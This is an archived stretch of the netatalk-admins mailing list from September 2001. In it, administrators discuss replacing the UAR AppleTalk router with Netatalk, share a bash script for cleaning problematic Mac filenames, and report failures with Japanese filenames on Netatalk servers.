Date: Fri, 14 Sep 2001 09:38:34 -0400
To: Danny Sauer <dsauer@teleologic.net>
Cc: netatalk-admins@umich.edu
Subject: Re: Was my question really that stupid?
In-Reply-To: <20010913113945.E7619@newwww.teleologic.net>
References: <15264.56173.886332.444010@gargle.gargle.HOWL>
	<20010913113945.E7619@newwww.teleologic.net>
X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Reply-To: d.kindred@telesciences.com

>>>>> "Danny" == Danny Sauer <dsauer@teleologic.net> writes:

    Danny> ... Looks like UAR  is an appletalk  router.  Netatalk can do
    Danny> that. ...

Thanks.

    Danny> Google is everyone's friend. :)

Except when it gives you too many answers.  I read many, many articles
on the file-sharing capabilities of netatalk, but never hit on the right
incantation to get the routing articles.

-- 
David L. Kindred                       <mailto:d.kindred@telesciences.com>
Unix Systems & Network Administrator   Telesciences, Inc.
Phone: +1 856 642 4184                 2000 Midlantic Drive, Suite 410
Fax: +1 856 866 0185                   Mount Laurel, NJ 08054 USA

From netatalk.administrators-errors@umich.edu  Fri Sep 14 10:11:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA21343
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 10:11:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA24583
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 10:11:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA24568
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 10:11:03 -0400 (EDT)
Received: from dmz2.telesciences.com (dmz2.telesciences.com [12.35.246.10])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA24545
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 10:11:02 -0400 (EDT)
Received: from redshank.telesciences.com (redshank.telesciences.com [10.37.10.153])
	by dmz2.telesciences.com (Postfix) with ESMTP
	id B89D62C22C; Fri, 14 Sep 2001 10:11:01 -0400 (EDT)
Received: (from kindred@localhost)
	by redshank.telesciences.com (8.11.0/8.9.3) id f8EEB1N06234;
	Fri, 14 Sep 2001 10:11:01 -0400
From: "David L Kindred (Dave)" <d.kindred@telesciences.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15266.4085.392212.171019@gargle.gargle.HOWL>
Date: Fri, 14 Sep 2001 10:11:01 -0400
To: charlie wood <charlie@id-inc.com>
Cc: <netatalk-admins@umich.edu>
Subject: Re: Was my question really that stupid?
In-Reply-To: <B7C63580.46CB%charlie@id-inc.com>
References: <15264.56173.886332.444010@gargle.gargle.HOWL>
	<B7C63580.46CB%charlie@id-inc.com>
X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Reply-To: d.kindred@telesciences.com

>>>>> "charlie" == charlie wood <charlie@id-inc.com> writes:

    charlie> ... The answer that I have is a yes and a no. ...

Thanks, but I'm not sure I needed THAT much detail.  But at least now
there is a decent discussion of the topic for the next poor soul looking
for the same information.

-- 
David L. Kindred                       <mailto:d.kindred@telesciences.com>
Unix Systems & Network Administrator   Telesciences, Inc.
Phone: +1 856 642 4184                 2000 Midlantic Drive, Suite 410
Fax: +1 856 866 0185                   Mount Laurel, NJ 08054 USA

From netatalk.administrators-errors@umich.edu  Fri Sep 14 10:23:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA22102
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 10:23:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA05544
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 10:23:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA05528
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 10:23:23 -0400 (EDT)
Received: from dmz2.telesciences.com (dmz2.telesciences.com [12.35.246.10])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA05499
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 10:23:22 -0400 (EDT)
Received: from redshank.telesciences.com (redshank.telesciences.com [10.37.10.153])
	by dmz2.telesciences.com (Postfix) with ESMTP
	id 382702C22C; Fri, 14 Sep 2001 10:23:22 -0400 (EDT)
Received: (from kindred@localhost)
	by redshank.telesciences.com (8.11.0/8.9.3) id f8EENLu06249;
	Fri, 14 Sep 2001 10:23:21 -0400
From: "David L Kindred (Dave)" <d.kindred@telesciences.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15266.4824.758067.480854@gargle.gargle.HOWL>
Date: Fri, 14 Sep 2001 10:23:20 -0400
To: chad@objectwerks.com
Cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Was my question really that stupid?
In-Reply-To: <121782636.1000387332@[192.168.99.66]>
References: <B7C63580.46CB%charlie@id-inc.com>
	<121782636.1000387332@[192.168.99.66]>
X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Reply-To: d.kindred@telesciences.com

>>>>> "Chad" == Chad Leigh, ObjectWerks, Inc <chad@objectwerks.com> writes:

    Chad> 1.  Researched "uar" and understand what it does, and what
    Chad>     your needs are, and how "uar" meets those needs.

Did that.  UAR is an AppleTalk router.

    Chad> 2.  Research "netatalk" and compare its capabilities to those
    Chad>     needs you have and "uar"s meeting of those needs.

Did that, but most of the Netatalk resources focus on File Sharing.  I
was not having mush success with finding routing information.  In fact,
it was unclear to me if Netatalk even WAS an AppleTalk router.

    Chad> 3.  Decide whether "netatlks" is a candidate to replace "uar"
    Chad>     based on your research.

I didn't believe that netatalk was suitable for the task I never would
have asked about it all.

    Chad> 4.  Post to the netatalk list any specific questions based on
    Chad>     your evaluation of your needs, uar, and netatalk, to act
    Chad>     as a safety net to make sure you understood your needs and
    Chad>     netatalk's capabilities.  Propose to the list that you are
    Chad>     doing this replacement, stating your needs, any questions
    Chad>     that arose in your research, and see if any one knows of
    Chad>     any red flags that you did not consider.

Which is what I did, I thought.

    Chad> If you expect others to do your research for you you will be
    Chad> disappointed. If you take it upon yourself to figure things
    Chad> out, and then use the mail list as a peer review of your work,
    Chad> you will probably be rewarded.  You can also use the list to
    Chad> ask for pointers to additional information or other appriorate
    Chad> help if you get stuck in your research, or to ask specific
    Chad> questions that come up while doing your own research.

I did my own research, which led me to believe that the capabilities
existed, yet there were no indications anyone had done what I wanted to
do.  So I was asking for the short answer and sanity check that I wasn't
going in the wrong direction.  And in other messages I've gotten that
information.

Interesting to me though is that is still no indication that anyone else
has ever migrated their AppleTalk routing from UAR to Netatalk, which
may just mean that UAR was never very popular, which would explain the
lack of information about it.

-- 
David L. Kindred                       <mailto:d.kindred@telesciences.com>
Unix Systems & Network Administrator   Telesciences, Inc.
Phone: +1 856 642 4184                 2000 Midlantic Drive, Suite 410
Fax: +1 856 866 0185                   Mount Laurel, NJ 08054 USA

From netatalk.administrators-errors@umich.edu  Fri Sep 14 10:23:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA22157
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 10:23:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA12061
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 10:23:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA12053
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 10:23:54 -0400 (EDT)
Received: from dmz2.telesciences.com (dmz2.telesciences.com [12.35.246.10])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA12026
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 10:23:53 -0400 (EDT)
Received: from redshank.telesciences.com (redshank.telesciences.com [10.37.10.153])
	by dmz2.telesciences.com (Postfix) with ESMTP
	id A45672C248; Fri, 14 Sep 2001 10:23:52 -0400 (EDT)
Received: (from kindred@localhost)
	by redshank.telesciences.com (8.11.0/8.9.3) id f8EENqL06252;
	Fri, 14 Sep 2001 10:23:52 -0400
From: "David L Kindred (Dave)" <d.kindred@telesciences.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15266.4856.464248.636231@gargle.gargle.HOWL>
Date: Fri, 14 Sep 2001 10:23:52 -0400
To: Matthew Keller <kellermg@potsdam.edu>
Cc: netatalk-admins@umich.edu
Subject: Re: Was my question really that stupid?
In-Reply-To: <1000400630.2264.45.camel@comp10574.potsdam.edu>
References: <15264.56173.886332.444010@gargle.gargle.HOWL>
	<1000400630.2264.45.camel@comp10574.potsdam.edu>
X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Reply-To: d.kindred@telesciences.com

>>>>> "Matthew" == Matthew Keller <kellermg@potsdam.edu> writes:

    Matthew> 	Or 4) No one noticed. ;) Yes, Netatalk can do AppleTalk
    Matthew> 	routing. :)

Thanks.

-- 
David L. Kindred                       <mailto:d.kindred@telesciences.com>
Unix Systems & Network Administrator   Telesciences, Inc.
Phone: +1 856 642 4184                 2000 Midlantic Drive, Suite 410
Fax: +1 856 866 0185                   Mount Laurel, NJ 08054 USA

From netatalk.administrators-errors@umich.edu  Fri Sep 14 12:16:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA27354
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 12:16:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA24339
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 12:16:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA24325
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 12:16:32 -0400 (EDT)
Received: from mail.kaiser.link-m.de ([195.30.238.153])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA24280
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 12:16:30 -0400 (EDT)
Received: from [195.30.238.157] (unknown [195.30.238.157])
	by mail.kaiser.link-m.de (Postfix) with ESMTP
	id 81431CB841; Fri, 14 Sep 2001 18:14:59 +0000 (/etc/localtime)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 14 Sep 2001 18:16:33 +0200
Subject: Re: Was my question really that stupid?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <d.kindred@telesciences.com>
Cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B7C7FA01.1194A%Thomas.Kaiser@phg-online.de>
In-Reply-To: <15266.4824.758067.480854@gargle.gargle.HOWL>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 14 Sep 2001 10:23:24 -0400 (EDT), David L Kindred (Dave) wrote:

>>>>>> "Chad" == Chad Leigh, ObjectWerks, Inc <chad@objectwerks.com> writes:
> Chad> 1.  Researched "uar" and understand what it does, and what
> Chad>     your needs are, and how "uar" meets those needs.
> 
> Did that.  UAR is an AppleTalk router.

It's a bit more than that. It can also be used to tunnel AppleTalk over IP
(UDP is default -- if you pay the shareway fee, you can also use TCP).

Take a look at <http://www.cs.mu.OZ.AU/appletalk/readmes/UAR.README.html>

You may want to use Netatalk to establish AppleTalk seed routing and use UAR
also, because of Netatalk's lack of tunneling (e.g. over a vpn).

> Chad> 2.  Research "netatalk" and compare its capabilities to those
> Chad>     needs you have and "uar"s meeting of those needs.
> 
> Did that, but most of the Netatalk resources focus on File Sharing.  I
> was not having mush success with finding routing information.  In fact,
> it was unclear to me if Netatalk even WAS an AppleTalk router.

As Danny wrote before: Google is your friend :-)

<http://www.google.com/search?q=netatalk+appletalk+router> points directly
to a good tutorial on <http://www.transit.hanse.de/netatalk/router.html>

The only thing that's missing is netatalks ability to publish zones even
without routing at all (one single interface only configured for atalkd).
For this purpose you need the switch '-router', e.g.

eth0 -router -seed -net 1-1000 -addr 1.142 -zone "faked zone entry"

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Sep 14 12:45:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA28361
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 12:45:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA21992
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 12:45:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA21977
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 12:45:22 -0400 (EDT)
Received: from server.floridasunonline.net (user13.net019.fl.sprint-hsd.net [207.30.121.13])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA21942
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 12:45:20 -0400 (EDT)
Received: from progeny (progeny [192.168.1.249])
	by server.floridasunonline.net (8.11.1/8.11.1) with SMTP id f8EGkar14805
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 12:46:56 -0400
From: Jesse <jg@floridasunonline.net>
To: netatalk-admins@umich.edu
Subject: Re: backing up using rsync+netatalk
Date: Fri, 14 Sep 2001 12:44:43 -0400
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="us-ascii"
References: <Pine.SOL.4.33.0109140831440.12738-100000@orange.csi.cam.ac.uk> <3BA1BDD1.8117AECE@netcase.nl>
In-Reply-To: <3BA1BDD1.8117AECE@netcase.nl>
MIME-Version: 1.0
Message-Id: <01091412444300.00547@progeny>
Content-Transfer-Encoding: 8bit

On Friday 14 September 2001 04:20, Nicky Haan wrote:
> Is there a rsync client/server for mac ? and if so, what does it do when i
> move files from mac to linux if the filenames arnt something my
> linuxmachine likes ? i already have that problem no when i use a program
> link syncfolders on mac to my appleshare that files containing / \ * #  :
> and so on, arnt usable anymore (and yes i know i should tell our macusers
> not to do that but i'm already telling them for over a year and they still
> are using those filenames .. :(( )
>
> so to resume, is there a rsync client and or server for mac and what does
> it do with those file(names)
>
> grtz
>

I had the same problem with a large number of filenames with some documents I 
needed to process with the shell.  I don't know that this will help with 
backups but if you need to fix bad filenames that will be processed with the 
shell I wrote this script.  (watch the email line wrapping )

#!/bin/bash 

# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

#  This script will attempt to remove characters which may be
#  unfriendly to the shell from the filenames of the
#  files located in the directory in which it is executed and replace
#  them with an underscore character.  It's currently disabled
#  you'll need to uncomment the mv line below.

self=`basename ${0}`

if [ -z $1 ]; then
        printf "\nUsage: %s\n" ${self}
        printf "\t%s takes a directory as an argument\n" ${self}
        printf "\tthe argument should be an absolute path\n"
        printf "\tto the directory.\n"
        printf "\n"
        printf "For example:\n"
        printf "\t%s /home/guest/directory_to_process\n\n" ${self}
        exit 1
fi

for item in $1/*
do
        # Need this so we are comparing filenames correctly
        item=`basename "${item}"`

        # exclude the script from processing
        if [ "${item}" = "${self}" ]; then
                continue
        fi

        # skip directories
        if [ -d "${item}" ]; then
                continue
        fi

        current_name="${item}"
        fixed_name=`echo -n \'${current_name}\' | sed 
's/[[:blank:][:cntrl:][:punct:]\(\)\{\}]/_/g'`

        # Uncomment the mv command below when ready to use
        #mv "${1}/${current_name}" "${1}/${fixed_name}"

        # comment out the echo command below once your satisfied
        echo ${1}${fixed_name}

done

From netatalk.administrators-errors@umich.edu  Fri Sep 14 20:55:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA19752
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 20:55:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA15001
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 20:55:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA14987
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 20:55:17 -0400 (EDT)
Received: from tattoo.viz.com (dsl081-250-098.sfo1.dsl.speakeasy.net [64.81.250.98])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA14961
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 20:55:16 -0400 (EDT)
Received: from deanix.viz.com (deanix.viz.com [192.168.1.220])
	by tattoo.viz.com (Postfix) with ESMTP id 079B2C43A
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 17:52:08 +0800 (GMT-8)
Subject: Netatalk + Japanese file names?
From: Deano! <deano@viz.com>
To: netatalk-admins@umich.edu
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.13.99+cvs.2001.09.14.18.39 (Preview Release)
Date: 14 Sep 2001 17:56:23 -0700
Message-Id: <1000515383.10084.2.camel@deanix.viz.com>
Mime-Version: 1.0



Has this been resolved yet? I really* need Japanese and* 'regular' file
name support on my netatalk server.

-deano




From netatalk.administrators-errors@umich.edu  Fri Sep 14 21:28:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA20663
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 21:28:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA20158
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 21:28:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA20153
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 21:28:29 -0400 (EDT)
Received: from mail08.voicenet.com (mail08.voicenet.com [207.103.0.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA20136
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 21:28:28 -0400 (EDT)
Received: (qmail 372 invoked from network); 15 Sep 2001 01:28:27 -0000
Received: from dialup0542-pri.dialup5.voicenet.com (HELO ?207.103.134.42?) (207.103.134.42)
  by mail08.voicenet.com with SMTP; 15 Sep 2001 01:28:27 -0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 14 Sep 2001 21:29:35 -0400
Subject: unsubscribe
From: "D. L. Fuller" <dlfuller@voicenet.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7C826A5.1FEB%dlfuller@voicenet.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit




From netatalk.administrators-errors@umich.edu  Fri Sep 14 22:05:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA21557
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 22:05:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA20018
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 22:05:55 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA20012
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 22:05:55 -0400 (EDT)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA19996
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 22:05:54 -0400 (EDT)
Received: from nh-merrimack1a-131.bur.adelphia.net ([24.49.144.131] helo=[192.168.99.123])
	by hobbiton.shire.net with asmtp (Exim 3.22 #6)
	id 15i4oo-000BYl-00; Fri, 14 Sep 2001 20:04:30 -0600
Date: Fri, 14 Sep 2001 22:04:36 -0400
From: "Chad Leigh, Objectwerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: Deano! <deano@viz.com>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Netatalk + Japanese file names?
Message-ID: <4072664203.1000505076@[192.168.99.123]>
In-Reply-To: <1000515383.10084.2.camel@deanix.viz.com>
X-Mailer: Mulberry/2.0.8 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



--On Friday, September 14, 2001 5:56 PM -0700 Deano! <deano@viz.com> wrote:

>
>
> Has this been resolved yet? I really* need Japanese and* 'regular' file
> name support on my netatalk server.
>
> -deano


Hi

I just tried using OS X and 1.5pre7 under FreeBSD 4.4-RC4 and it doesn't 
work.  I was able to type the japanese using the built in Japanese Language 
features that my wife regularly uses, but when I hit the final return to 
finish the filename I got an "exepected error -- returned -36" message.

I doubt that it is an OS X issue though I have not tried OS 9 since I don't 
have Japanese language capabilities on that machine.  Both OS X and OS 9 
have worked fine with normal roman letter filename.

Chad
ps: do I win a Ranma DVD as the first to answer?  :-)





From netatalk.administrators-errors@umich.edu  Fri Sep 14 22:43:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA22733
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 22:43:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA19132
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 22:43:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA19119
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 22:43:01 -0400 (EDT)
Received: from gatekeeper.synecticscam.com (gatekeeper.synecticscam.com [209.118.157.130])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id WAA18782
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 22:42:49 -0400 (EDT)
Received: from mail.synecticscam.com by gatekeeper.synecticscam.com
          via smtpd (for kidgalahad.mr.itd.umich.edu [141.211.125.18]) with SMTP; 15 Sep 2001 02:49:42 UT
Received: from gatekeeper.synecticscam.com (gatekeeper.synecticscam.com [10.1.0.1])
	by dellraiser.synecticscam.com (8.9.2/8.9.2) with SMTP id WAA11284
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 22:16:37 -0400 (EDT)
Received: from c1685383-a.almda1.sfba.home.com ([24.254.0.36]) by gatekeeper.synecticscam.com
          via smtpd (for mail.synecticscam.com [10.1.0.3]) with SMTP; 15 Sep 2001 02:49:29 UT
Subject: Re: Netatalk + Japanese file names?
From: Deano! <deano@viz.com>
To: netatalk-admins@umich.edu
In-Reply-To: <4072664203.1000505076@[192.168.99.123]>
References: <4072664203.1000505076@[192.168.99.123]>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.13 (Preview Release)
Date: 14 Sep 2001 19:43:04 -0700
Message-Id: <1000521798.8659.11.camel@c-1685383-a.almda1.sfba.home.com>
Mime-Version: 1.0

> I just tried using OS X and 1.5pre7 under FreeBSD 4.4-RC4 and it doesn't 
> work.  I was able to type the japanese using the built in Japanese Language 
> features that my wife regularly uses, but when I hit the final return to 
> finish the filename I got an "exepected error -- returned -36" message.
> 
> I doubt that it is an OS X issue though I have not tried OS 9 since I don't 
> have Japanese language capabilities on that machine.  Both OS X and OS 9 
> have worked fine with normal roman letter filename.
>

Sorry, I should've mentioned my details:

Linux 2.4.8 (redhat 7.1 plus ext3 goodies) on intel
netatalk 1.5pre6-rh7 rpm

Basically, I just hosed myself. someone copied all their japanese files
onto* the server, and so far they still look* okay from her mac, but I'm
paralyzed with fear that they will have issues. I guess the first test
is moving them back* onto a mac successfully... Anyway, this has* to be
a fairly common issue... At least someone on the list must know the
status/plans for this issue?

-deano

PS - I will give this Ranma DVD box set to whoever can give me netatalk
japanese support:

http://store.viz.com/prodinfo.asp?number=DVD-ROBS1&variation=&aitem=1&mitem=1


From netatalk.administrators-errors@umich.edu  Fri Sep 14 23:47:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA25035
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 23:47:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA17172
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 23:47:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA17161
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 23:47:35 -0400 (EDT)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA17117
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 23:47:31 -0400 (EDT)
Received: from nh-merrimack1a-131.bur.adelphia.net ([24.49.144.131] helo=[192.168.99.66])
	by hobbiton.shire.net with asmtp (Exim 3.22 #6)
	id 15i6P8-000CUg-00; Fri, 14 Sep 2001 21:46:07 -0600
Date: Fri, 14 Sep 2001 23:47:26 -0400
From: "Chad Leigh, ObjectWerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: Deano! <deano@viz.com>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Netatalk + Japanese file names?
Message-ID: <129219096.1000511246@[192.168.99.66]>
In-Reply-To: <1000521798.8659.11.camel@c-1685383-a.almda1.sfba.home.com>
References: <4072664203.1000505076@[192.168.99.123]>
 <1000521798.8659.11.camel@c-1685383-a.almda1.sfba.home.com>
X-Mailer: Mulberry/2.1.0 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



--On Friday, September 14, 2001 7:43 PM -0700 Deano! <deano@viz.com> wrote:

>> I just tried using OS X and 1.5pre7 under FreeBSD 4.4-RC4 and it doesn't
>> work.  I was able to type the japanese using the built in Japanese
>> Language  features that my wife regularly uses, but when I hit the final
>> return to  finish the filename I got an "exepected error -- returned
>> -36" message.
>>
>> I doubt that it is an OS X issue though I have not tried OS 9 since I
>> don't  have Japanese language capabilities on that machine.  Both OS X
>> and OS 9  have worked fine with normal roman letter filename.
>>
>
> Sorry, I should've mentioned my details:
>
> Linux 2.4.8 (redhat 7.1 plus ext3 goodies) on intel
> netatalk 1.5pre6-rh7 rpm
>
